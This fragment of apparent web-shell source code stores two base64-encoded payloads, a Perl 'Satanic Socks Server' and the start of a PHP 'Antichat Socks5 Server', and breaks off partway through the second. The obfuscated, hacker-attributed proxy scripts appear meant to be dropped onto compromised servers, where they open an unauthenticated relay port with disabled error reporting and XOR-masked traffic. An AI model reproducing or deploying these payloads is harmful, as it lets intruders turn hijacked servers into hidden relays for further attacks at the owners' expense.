$stnc="IyEvdXNyL2Jpbi9wZXJsCgojICAgICAgICAgICAgICAgICAgICAgU2F0YW5pYyBTb2NrcyBTZXJ2ZXIgdjAuOC4wMzEyMDYtcGVybAojICAgIFRoaXMgc2NyaXB0IGlzIHByaXZhdGUuIE9ubHkgZm9yIFNhVGFOaUMgdGVhbSBhbmQgZnJpZW5kcy4gTm90IGZvciBzYWxlLgojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvZGVkIGJ5IGRybWlzdC9TVE5DLCB3ZWI6IHd3dy5zdG5jLnJ1LgoKJGF1dGhfZW5hYmxlZCA9IDA7CiRhdXRoX2xvZ2luID0gInVzZXIiOwokYXV0aF9wYXNzID0gInBhc3MiOwokcG9ydCA9IDMwMDM7Cgp1c2UgSU86OlNvY2tldDo6SU5FVDsKCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOwokYmluZCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEwLCBSZXVzZT0+MSwgTG9jYWxQb3J0PT4kcG9ydCkgb3IgIGRpZSAiQ2FuJ3QgYmluZCBwb3J0ICRwb3J0XG4iOwoKd2hpbGUoJGNsaWVudCA9ICRiaW5kLT5hY2NlcHQoKSkgewogICRjbGllbnQtPmF1dG9mbHVzaCgpOwoKICBpZihmb3JrKCkpeyAkY2xpZW50LT5jbG9zZSgpOyB9CiAgZWxzZSB7ICRiaW5kLT5jbG9zZSgpOyBuZXdfY2xpZW50KCRjbGllbnQpOyBleGl0KCk7IH0KfQoKc3ViIG5ld19jbGllbnQgewogIGxvY2FsICR0LCAkaSwgJGJ1ZmYsICRvcmQsICRzdWNjZXNzOwogIGxvY2FsICRjbGllbnQgPSAkX1swXTsKICBzeXNyZWFkKCRjbGllbnQsICRidWZmLCAxKTsKCiAgaWYob3JkKCRidWZmKSA9PSA1KSB7CiAgICBzeXNyZWFkKCRjbGllbnQsICRidWZmLCAxKTsKICAgICR0ID0gb3JkKCRidWZmKTsKCiAgICB1bmxlc3Moc3lzcmVhZCgkY2xpZW50LCAkYnVmZiwgJHQpID09ICR0KSB7IHJldHVybjsgfQoKICAgICRzdWNjZXNzID0gMDsKICAgIGZvcigkaSA9IDA7ICRpIDwgJHQ7ICRpKyspIHsKICAgICAgJG9yZCA9IG9yZChzdWJzdHIoJGJ1ZmYsICRpLCAxKSk7CiAgICAgIGlmKCRvcmQgPT0gMCAmJiAhJGF1dGhfZW5hYmxlZCkgewogICAgICAgIHN5c3dyaXRlKCRjbGllbnQsICJceDA1XHgwMCIsIDIpOwogICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgYnJlYWs7CiAgICAgIH0KICAgICAgZWxzaWYoJG9yZCA9PSAyICYmICRhdXRoX2VuYWJsZWQpIHsKICAgICAgICB1bmxlc3MoZG9fYXV0aCgkY2xpZW50KSl7IHJldHVybjsgfQogICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgYnJlYWs7CiAgICAgIH0KICAgIH0KCiAgICBpZigkc3VjY2VzcykgewogICAgICAkdCA9IHN5c3JlYWQoJGNsaWVudCwgJGJ1ZmYsIDMpOwoKICAgICAgaWYoc3Vic3RyKCRidWZmLCAwLCAxKSA9PSAnXHgwNScpIHsKICAgICAgICBpZihvcmQoc3Vic3RyKCRidWZmLCAyLCAxKSkgPT0gMCkgeyAjIHJlc2VydmVkCiAgICAgICAgICAoJGhvc3QsICRyYXdfaG9zdCkgPSBzb2Nrc19nZXRfaG9zdCgkY2xpZW50KTsKICAgICAgICAgIGlmKCEkaG9zdCkgeyAgcmV0dXJuOyB9CiAgICAgICAgICAoJHBvcnQsICRyYXdfcG9ydCkgPSBzb2Nrc19nZXRfcG9ydCgkY2xpZW50KTsKICAgICAgICAgIGlmKCEkcG9ydCkgeyByZXR1cm47IH0KICAgICAgICAgICRvcmQgPSBvcmQoc3Vic3RyKCRidWZmLCAxLCAxKSk7CiAgICAgICAgICAkYnVmZiA9ICJceDA1XHgwMFx4MDAiLiRyYXdfaG9zdC4kcmF3X3BvcnQ7CiAgICAgICAgICBzeXN3cml0ZSgkY2xpZW50LCAkYnVmZiwgbGVuZ3RoKCRidWZmKSk7CiAgICAgICAgICBzb2Nrc19kbygkb3JkLCAkY2xpZW50LCAkaG9zdCwgJHBvcnQpOwogICAgICAgIH0KICAgICAgfQogICAgfSBlbHNlIHsgc3lzd3JpdGUoJGNsaWVudCwgIlx4MDVceEZGIiwgMik7IH07CiAgfQogICRjbGllbnQtPmNsb3NlKCk7Cn0KCnN1YiBkb19hdXRoIHsKICBsb2NhbCAkYnVmZiwgJGxvZ2luLCAkcGFzczsKICBsb2NhbCAkY2xpZW50ID0gJF9bMF07CgogIHN5c3dyaXRlKCRjbGllbnQsICJceDA1XHgwMiIsIDIpOwogIHN5c3JlYWQoJGNsaWVudCwgJGJ1ZmYsIDEpOwoKICBpZihvcmQoJGJ1ZmYpID09IDEpIHsKICAgIHN5c3JlYWQoJGNsaWVudCwgJGJ1ZmYsIDEpOwogICAgc3lzcmVhZCgkY2xpZW50LCAkbG9naW4sIG9yZCgkYnVmZikpOwogICAgc3lzcmVhZCgkY2xpZW50LCAkYnVmZiwgMSk7CiAgICBzeXNyZWFkKCRjbGllbnQsICRwYXNzLCBvcmQoJGJ1ZmYpKTsKCiAgICBpZigkbG9naW4gZXEgJGF1dGhfbG9naW4gJiYgJHBhc3MgZXEgJGF1dGhfcGFzcykgewogICAgICBzeXN3cml0ZSgkY2xpZW50LCAiXHgwNVx4MDAiLCAyKTsKICAgICAgcmV0dXJuIDE7CiAgICB9IGVsc2UgeyBzeXN3cml0ZSgkY2xpZW50LCAiXHgwNVx4MDEiLCAyKTsgfQogIH0KCiAgJGNsaWVudC0+Y2xvc2UoKTsKICByZXR1cm4gMDsKfQoKc3ViIHNvY2tzX2dldF9ob3N0IHsKICBsb2NhbCAkY2xpZW50ID0gJF9bMF07CiAgbG9jYWwgJHQsICRvcmQsICRyYXdfaG9zdDsKICBsb2NhbCAkaG9zdCA9ICIiOwoKICBzeXNyZWFkKCRjbGllbnQsICR0LCAxKTsKICAkb3JkID0gb3JkKCR0KTsKICBpZigkb3JkID09IDEpIHsKICAgIHN5c3JlYWQoJGNsaWVudCwgJHJhd19ob3N0LCA0KTsKICAgIEBob3N0ID0gJHJhd19ob3N0ID1+IC8oLikvZzsKICAgICRob3N0ID0gb3JkKCRob3N0WzBdKS4iLiIub3JkKCRob3N0WzFdKS4iLiIub3JkKCRob3N0WzJdKS4iLiIub3JkKCRob3N0WzNdKTsKICB9IGVsc2lmKCRvcmQgPT0gMykgewogICAgc3lzcmVhZCgkY2xpZW50LCAkcmF3X2hvc3QsIDEpOwogICAgc3lzcmVhZCgkY2xpZW50LCAkaG9zdCwgb3JkKCRyYXdfaG9zdCkpOwogICAgJHJhd19ob3N0IC49ICRob3N0OwogIH0gZWxzaWYoJG9yZCA9PSA0KSB7CiAgICAjaXB2NiAtIG5vdCBzdXBwb3J0ZWQKICB9CgogIHJldHVybiAoJGhvc3QsICR0LiRyYXdfaG9zdCk7Cn0KCnN1YiBzb2Nrc19nZXRfcG9ydCB7CiAgbG9jYWwgJGNsaWVudCA9ICRfWzBdOwogIGxvY2FsICRyYXdfcG9ydCwgJHBvcnQ7CiAgc3lzcmVhZCgkY2xpZW50LCAkcmF3X3BvcnQsIDIpOwogICRwb3J0ID0gb3JkKHN1YnN0cigkcmF3X3BvcnQsIDAsIDEpKSA8PCA4IHwgb3JkKHN1YnN0cigkcmF3X3BvcnQsIDEsIDEpKTsKICByZXR1cm4gKCRwb3J0LCAkcmF3X3BvcnQpOwp9CgpzdWIgc29ja3NfZG8gewogIGxvY2FsKCR0LCAkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CgogIGlmKCR0ID09IDEpIHsgc29ja3NfY29ubmVjdCgkY2xpZW50LCAkaG9zdCwgJHBvcnQpOyB9CiAgZWxzaWYoJHQgPT0gMikgeyBzb2Nrc19iaW5kKCRjbGllbnQsICRob3N0LCAkcG9ydCk7IH0KICBlbHNpZigkdCA9PSAzKSB7IHNvY2tzX3VkcF9hc3NvY2lhdGUoJGNsaWVudCwgJGhvc3QsICRwb3J0KTsgfQogIGVsc2UgeyByZXR1cm4gMDsgfQoKICByZXR1cm4gMTsKfQoKIyB0aGlzIHBhcnQgb2YgY29kZSB3YXMgdGFrZW4gZnJvbSBkYXRhcGlwZS5wbCB1dGlsaXR5LAojIHdyaXR0ZW4gYnkgQ3VUVGVyIChjdXR0ZXJbYXRdcmVhbC54YWtlcC5ydSkKIyB1dGlsaXR5IGxheXMgb24gY3Bhbi5vcmcKCnN1YiBzb2Nrc19jb25uZWN0IHsKICBteSgkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CiAgbXkgJHRhcmdldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdCwgUGVlclBvcnQgPT4gJHBvcnQsIFByb3RvID0+ICd0Y3AnLCBUeXBlID0+IFNPQ0tfU1RSRUFNKTsKCiAgdW5sZXNzKCR0YXJnZXQpIHsgcmV0dXJuOyB9CgogICR0YXJnZXQtPmF1dG9mbHVzaCgpOwogIHdoaWxlKCRjbGllbnQgfHwgJHRhcmdldCkgewogICAgbXkgJHJpbiA9ICIiOwogICAgdmVjKCRyaW4sIGZpbGVubygkY2xpZW50KSwgMSkgPSAxIGlmICRjbGllbnQ7CiAgICB2ZWMoJHJpbiwgZmlsZW5vKCR0YXJnZXQpLCAxKSA9IDEgaWYgJHRhcmdldDsKICAgIG15KCRyb3V0LCAkZW91dCk7CiAgICBzZWxlY3QoJHJvdXQgPSAkcmluLCB1bmRlZiwgJGVvdXQgPSAkcmluLCAxMjApOwogICAgaWYgKCEkcm91dCAgJiYgICEkZW91dCkgeyByZXR1cm47IH0KICAgIG15ICRjYnVmZmVyID0gIiI7CiAgICBteSAkdGJ1ZmZlciA9ICIiOwoKICAgIGlmICgkY2xpZW50ICYmICh2ZWMoJGVvdXQsIGZpbGVubygkY2xpZW50KSwgMSkgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJGNsaWVudCksIDEpKSkgewogICAgICBteSAkcmVzdWx0ID0gc3lzcmVhZCgkY2xpZW50LCAkdGJ1ZmZlciwgMTAyNCk7CiAgICAgIGlmICghZGVmaW5lZCgkcmVzdWx0KSB8fCAhJHJlc3VsdCkgeyByZXR1cm47IH0KICAgIH0KCiAgICBpZiAoJHRhcmdldCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGFyZ2V0KSwgMSkgIHx8IHZlYygkcm91dCwgZmlsZW5vKCR0YXJnZXQpLCAxKSkpIHsKICAgICAgbXkgJHJlc3VsdCA9IHN5c3JlYWQoJHRhcmdldCwgJGNidWZmZXIsIDEwMjQpOwogICAgICBpZiAoIWRlZmluZWQoJHJlc3VsdCkgfHwgISRyZXN1bHQpIHsgcmV0dXJuOyB9CiAgICAgIH0KCiAgICBpZiAoJGZoICAmJiAgJHRidWZmZXIpIHsgcHJpbnQgJGZoICR0YnVmZmVyOyB9CgogICAgd2hpbGUgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7CiAgICAgIG15ICRyZXMgPSBzeXN3cml0ZSgkdGFyZ2V0LCAkdGJ1ZmZlciwgJGxlbik7CiAgICAgIGlmICgkcmVzID4gMCkgeyAkdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7IH0gZWxzZSB7IHJldHVybjsgfQogICAgfQoKICAgIHdoaWxlIChteSAkbGVuID0gbGVuZ3RoKCRjYnVmZmVyKSkgewogICAgICBteSAkcmVzID0gc3lzd3JpdGUoJGNsaWVudCwgJGNidWZmZXIsICRsZW4pOwogICAgICBpZiAoJHJlcyA+IDApIHsgJGNidWZmZXIgPSBzdWJzdHIoJGNidWZmZXIsICRyZXMpOyB9IGVsc2UgeyByZXR1cm47IH0KICAgIH0KICB9Cn0KCnN1YiBzb2Nrc19iaW5kIHsKICBteSgkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CiAgIyBub3Qgc3VwcG9ydGVkCn0KCnN1YiBzb2Nrc191ZHBfYXNzb2NpYXRlIHsKICBteSgkY2xpZW50LCAkaG9zdCwgJHBvcnQpID0gQF87CiAgIyBub3Qgc3VwcG9ydGVkCn0=";
$prx_zadox="PD8KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAJCQkgICAgQW50aWNoYXQgU29ja3M1IFNlcnZlciB2IDEuMC4xIChTZWN1cmUgRWRpdGlvbikJCSMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fX19fX19fX19fX19fX19fX19fX19fX19fICMKIyAgIEZlYXR1cmVzOgkJCQkJCSAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIHdyaXR0ZW4gYnkgWmFkb3hsaWsgICAgICAgIwojICAgWytdIExPR0lOL1BBU1NXT1JEIGF1dGhvcml6YXRpb24gICAgICAgICAgICAgICAgICAgICAgfCAgIHrgZG94bGlrQGFudGljaGF0W2Tu8l1ydSAgIwojICAgWy1dIEFueSBvdGhlciBhdXRob3JpemF0aW9uIHR5cGUgICAgICAgICAgICAgICAgICAgICAgfCAgIGljcTogNTExNTAxCSAgICAgICAgIwojICAgWytdIFRocmVhZHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIHd3dy56YWRveGxpay5pbmZvICAgICAgICAgIwojICAgWytdIENPTk5FQ1QgbWV0aG9kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIHd3dy5hbnRpY2hhdC5ydSAgICAgICAgICAgIwojICAgWy1dIEJJTkQgbWV0aG9kICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX19fX19fX19fX19fX19fX19fX19fX18gIwojICAgWy1dIFVEUCBBU1NPQ0lBVEUgbWV0aG9kCQkJCQkJCQkjCiMgICBbK10gVW5peCBwbGF0Zm9ybQkJCQkJCQkJCSMKIyAgIFsrXSBXaW5kb3dzIHBsYXRmb3JtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgIFsrXSBJcHY0IGFkZHJlc3MgdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgIFsrXSBEb21haW4gbmFtZSBhZGRyZXNzIHR5cGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgIFstXQlJcHY2IGFkZHJlc3MgdHlwZQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIERvY3VtZW50cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIGZ0cDovL2Z0cC5yZmMtZWRpdG9yLm9yZy9pbi1ub3Rlcy9yZmMxOTI4LnR4dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIGZ0cDovL2Z0cC5yZmMtZWRpdG9yLm9yZy9pbi1ub3Rlcy9yZmMxOTI5LnR4dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCSMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKlwKfCAgICAgICAgICAgICAgICAgICAgICAJCVMgRSBUIFQgSSBOIEcgUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgokc2V0dGluZ3MJPSBhcnJheSgnUE9SVCcJCQk9PiAzMDAzLAoJCQknQVVUSCcJCQk9PiAwLAoJCQkKCQkJJ1NFQ1VSRScJCT0+IDEsICAgICAgICAgICAvLyBJZiAxIC0gc2VjdXJlIGNvbm5lY3Rpb24KCQkJJ1NFQ1VSSVRZX0tFWScgICAgICAgICAgPT4KCgkJCSJTZWN1cml0eSBrZXkgZ2dnZ2FnZ2dnIiwJCS8vIElmIFNlY3VyZSA9IDEgYW5kCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBDbGllbnQgZG9lcyBkZWZpbmUga2V5CgoJCQknU1RPUEZJTEUnCQk9PiAnc3RvcC50eHQnLAkvLyBjcmVhdGUgdGhpcyBmaWxlCgkJCQkJCQkJLy8gdG8gc3RvcCB0aGUgc2VydmVyCgkJCSdMT0dJTicJCQk9PiAndGFsYWtpbicsCS8vIGlmIEFVVEggPT0gMQoJCQknUEFTU1dPUkQnCQk9PiAncXdlcnR5JywJLy8gaWYgQVVUSCA9PSAxCgkJCSdNQVhfQ09OTkVDVElPTlMnCT0+IDE1LAoJCQknTE9HX0ZJTEUnCQk9PiAnLTEnLAkJLy8gaWYgLTEgLSBubyBsb2dzCgkJCSdBVVRIX1RJTUVPVVQnCQk9PiAzLAkJLy8gc2VjCgkJCSdDT05ORUNUX1RJTUVPVVQnCT0+IDMsCQkvLyBUaW1lb3V0IGZvciBjb25uZWN0aW9uCgkJCQkJCQkJLy8gdG8gcmVtb3RlIHNlcnZlciAoc2VjKQoJCSAgICAgICApOwovLyBSZW1vdGUgaG9zdHMsIHdoaWNoIGFyZSBub3Qgc3VwcG9ydGVkIGZvciB3b3JraW5nIHdpdGgKJGJsb2NrZWRfaG9zdHMgID0gYXJyYXkoJzgxLjE3Ny42Ljc4JywKCQkJJzg4LjIxMi4yMjEuMzQnLAoKCQkgICAgICAgKTsKLy8gQ2xpZW50IGhvc3RzLCB3aGljaCBhcmUgbm90IHN1cHBvcnRlZCBmb3Igd29ya2luZyB3aXRoIChiYW5uZWQpCiRibG9ja2VkX3VzZXJzICA9IGFycmF5KCcxMjcuMC4wLjInCgkJICAgICAgICk7Ci8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCgpzZXRfdGltZV9saW1pdCgwKSBPUiBESUUoJ3NldF90aW1lX2xpbWl0KDApIGZhaWxlZCcpOwplcnJvcl9yZXBvcnRpbmcoMCk7CgovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qXAp8ICAgICAgICAgICAgICAgICAgICAgIAkgICAgIEQgRSBGIEkgTiBJIFQgSSBPIE4gUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCkRFRklORSgnVkVSJywJCQkiXHgwNSIpOwpERUZJTkUoJ0NPTk5FQ1QnLAkJIlx4MDEiKTsKREVGSU5FKCdBVVRIX01FVEhPRCcsCQkiXHgwMiIpOwpERUZJTkUoJ0FVVEhfTk9UX1JFUScsCQkiXHgwMCIpOwpERUZJTkUoJ1dST05HX0FVVEhfTUVUSE9EUycsCSJceEZGIik7CkRFRklORSgnUkVQX1NVQ0NFU1MnLAkJIlx4MDAiKTsKREVGSU5FKCdSRVBfV1JPTkdfQ09NTUFORCcsCSJceDA3Iik7CkRFRklORSgnUkVQX1NPQ0tTX0VSUk9SJywJIlx4MDEiKTsKREVGSU5FKCdSRVBfQkxPQ0tFRF9IT1NUJywJIlx4MDIiKTsKREVGSU5FKCdSRVBfQkFEX0hPU1QnLAkJIlx4MDQiKTsKREVGSU5FKCdJUHY0JywJCQkiXHgwMSIpOwpERUZJTkUoJ0RPTUFJTicsCQkiXHgwMyIpOwpERUZJTkUoJ0NMT1NFRF9TT0NLRVQnLAkJLTEyKTsKREVGSU5FKCdOT19EQVRBJywJCS0xMSk7CkRFRklORSgnTk9UX0FMTF9EQVRBJywJCS0xMCk7CkRFRklORSgnU1RBVFVTX1JFQ1ZTVEFSVFJFUScsCS05KTsKREVGSU5FKCdTVEFUVVNfUkVDVkFVVEhSRVEnLAktOCk7CkRFRklORSgnU1RBVFVTX1JFUVVFU1RSRUNWJywJLTcpOwpERUZJTkUoJ1NUQVRVU19DT05ORUNUSU5HJywJLTYpOwpERUZJTkUoJ1NUQVRVU19XT1JLSU5HJywJLTUpOwpERUZJTkUoJ1NUQVRVU19SRUNWU0VDS0VZJywJLTQpOwoKLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8KJGNsaWVudHNvY2tldHMJPSBhcnJheSgpOwokc2VydmVyc29ja2V0cwk9IGFycmF5KCk7CiRyZWN2ZGF0YQk9IGFycmF5KCk7CiRzb2NrZXRzX3N0YXR1cwk9IGFycmF5KCk7CiR0aW1lb3V0ICAgICAgICA9IGFycmF5KCk7CiRyZXFtZXNzYWdlICAgICA9IGFycmF5KCk7CiRpcHBvcnQJCT0gYXJyYXkoKTsKCiRzZWNrZXkJCT0gYXJyYXkoKTsKJHNlY2tleV9wb3MxCT0gYXJyYXkoKTsKJHNlY2tleV9wb3MyCT0gYXJyYXkoKTsKLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKlwKfCAgICAgICAgICAgICAgICAgICAgICAJICAgICBGIFUgTiBDIFQgSSBPIE4gUyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl8ClwqLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovCmZ1bmN0aW9uIGdldHN0cmluZygkcywgJGxlbiA9IDEsICYka2V5cG9zID0gMCwgJGlkID0gLTEpewoJZ2xvYmFsICRzZWNrZXksICRzZXR0aW5nczsKCgoJaWYoKCRtZXNzYWdlID0gc29ja2V0X3JlYWQoJHMsICRsZW4sIDApKSA9PT0gRkFMU0UpewoKCSAJaWYoc29ja2V0X2xhc3RfZXJyb3IoJHMpID09IDEwMDM1KQoJCQlyZXR1cm4gIE5PX0RBVEE7CgkJZWxzZQoJCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCX0KIAlpZigkbWVzc2FnZSA9PSAiIikKCQlyZXR1cm4gQ0xPU0VEX1NPQ0tFVDsKCS8vZWNobyAkbWVzc2FnZTsKCWlmKCRpZCAhPSAtMSAmJiAkc2V0dGluZ3NbJ1NFQ1VSRSddID09IDEpIC8vaWYgZW5jcnlwdAoJCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRtZXNzYWdlKTsgJGkrKyl7CgkJCWlmKCFpc3NldCgkc2Vja2V5WyRpZF1bJGtleXBvc10pKQoJCSAgICAgICAgICAgICAgICAka2V5cG9zID0gMDsKCQkJJG1lc3NhZ2VbJGldID0gY2hyKG9yZCgkc2Vja2V5WyRpZF1bJGtleXBvc10pIF4gb3JkKCRtZXNzYWdlWyRpXSkpOwoKCQkJJGtleXBvcysrOwoJCX0KCgoJcmV0dXJuICRtZXNzYWdlOwoKCQp9CgpmdW5jdGlvbiBzZW5kc3RyaW5nKCYkcywgJG1lc3MsICYka2V5cG9zID0gMCwgJGlkID0gLTEpewoJZ2xvYmFsICRzZWNrZXksICRzZXR0aW5nczsKCWlmKCRpZCAhPSAtMSAmJiAkc2V0dGluZ3NbJ1NFQ1VSRSddID09IDEpIC8vaWYgZW5jcnlwdAoJCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRtZXNzKTsgJGkrKyl7CgkJICAgICAgICBpZighaXNzZXQoJHNlY2tleVskaWRdWyRrZXlwb3NdKSkKCQkgICAgICAgICAgICAgICAgJGtleXBvcyA9IDA7CgkJCSRtZXNzWyRpXSA9IGNocihvcmQoJHNlY2tleVskaWRdWyRrZXlwb3NdKSBeIG9yZCgkbWVzc1skaV0pKTsKCgkJCSRrZXlwb3MrKzsKCQl9CglyZXR1cm4gc29ja2V0X3dyaXRlKCRzLCAgJG1lc3MsIHN0cmxlbigkbWVzcykpOwp9CgpmdW5jdGlvbiB4b3JfZigkbWVzcywgJiRrZXlwb3MsICRpZCl7CglnbG9iYWwgJHNlY2tleTsKCWZvcigkaSA9IDA7ICRpIDwgc3RybGVuKCRtZXNzKTsgJGkrKyl7CgkgICAgICAgIGlmKCFpc3NldCgkc2Vja2V5WyRpZF1bJGtleXBvc10pKQoJICAgICAgICAgICAgICAgICRrZXlwb3MgPSAwOwoJCSRtZXNzWyRpXSA9IGNocihvcmQoJHNlY2tleVskaWRdWyRrZXlwb3NdKSBeIG9yZCgkbWVzc1skaV0pKTsKCQkJJGtleXBvcysrOwoJfQoJcmV0dXJuICRtZXNzOwp9CgpmdW5jdGlvbiBCcmlkZ2VFc3RhYmxpc2gyKCRpZCl7CglnbG9iYWwJJHNlcnZlcnNvY2tldHMsICRjbGllbnRzb2NrZXRzLCAkc29ja2V0c19zdGF0dXMsICRzZXR0aW5ncywgJHJlcW1lc3NhZ2UsCgkJJHRpbWVvdXQsICRpcHBvcnQsICRzZWNrZXlfcG9zMSwgJHNlY2tleV9wb3MyOwoJc2VuZHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLAlWRVIuUkVQX1NVQ0NFU1MuIlx4MDBceDAxIi4kaXBwb3J0WyRpZF0sICYkc2Vja2V5X3BvczFbJGlkXSwgJGlkKTsKICAgICAgICAkc29ja2V0c19zdGF0dXNbJGlkXSA9IFNUQVRVU19XT1JLSU5HOwoJCn0KCmZ1bmN0aW9uIEJyaWRnZUVzdGFibGlzaDEoJGlkKXsKCWdsb2JhbAkkc2VydmVyc29ja2V0cywgJGNsaWVudHNvY2tldHMsICRzb2NrZXRzX3N0YXR1cywgJHNldHRpbmdzLCAkcmVxbWVzc2FnZSwKCQkkdGltZW91dCwgJGJsb2NrZWRfaG9zdHMsICRpcHBvcnQsICRzZWNrZXlfcG9zMSwgJHNlY2tleV9wb3MyOwoJJG1lc3NhZ2UgPSAnJzsKCWlmKCgkbWVzc2FnZSA9IGdldHN0cmluZygkY2xpZW50c29ja2V0c1skaWRdLCAxMDAsICYkc2Vja2V5X3BvczJbJGlkXSwgJGlkKSkgPT09IENMT1NFRF9TT0NLRVQpewoJCWNsb3NlKCRpZCk7CgkJcmV0dXJuIENMT1NFRF9TT0NLRVQ7Cgl9CgllbHNlaWYoJG1lc3NhZ2UgPT09IE5PX0RBVEEpCgkJcmV0dXJuIE5PVF9BTExfREFUQTsKICAgICAgICBAJHJlcW1lc3NhZ2VbJGlkXSAuPSAkbWVzc2FnZTsKICAgICAgICAvLyBDaGVja2luZyB0aGUgcGFja2V0CiAgICAgICAgaWYoJHJlcW1lc3NhZ2VbJGlkXVswXSAhPT0gVkVSKXsKCQljbG9zZSgkaWQpOwoJCXJldHVybiBDTE9TRURfU09DS0VUOwoJfQoKCWlmKCFpc3NldCgkcmVxbWVzc2FnZVskaWRdWzFdKSkKCQlyZXR1cm4gTk9UX0FMTF9EQVRBOwoJaWYoJHJlcW1lc3NhZ2VbJGlkXVsxXSAhPT0gQ09OTkVDVCkKCXsKCSAgICAgICAgc29ja2V0X2dldHNvY2tuYW1lICgkY2xpZW50c29ja2V0c1skaWRdLCAkYWRkciwgJHBvcnQpOwoJCSRhZGRyID0gZXhwbG9kZSgnLicsICRhZGRyKTsKCQlmb3Io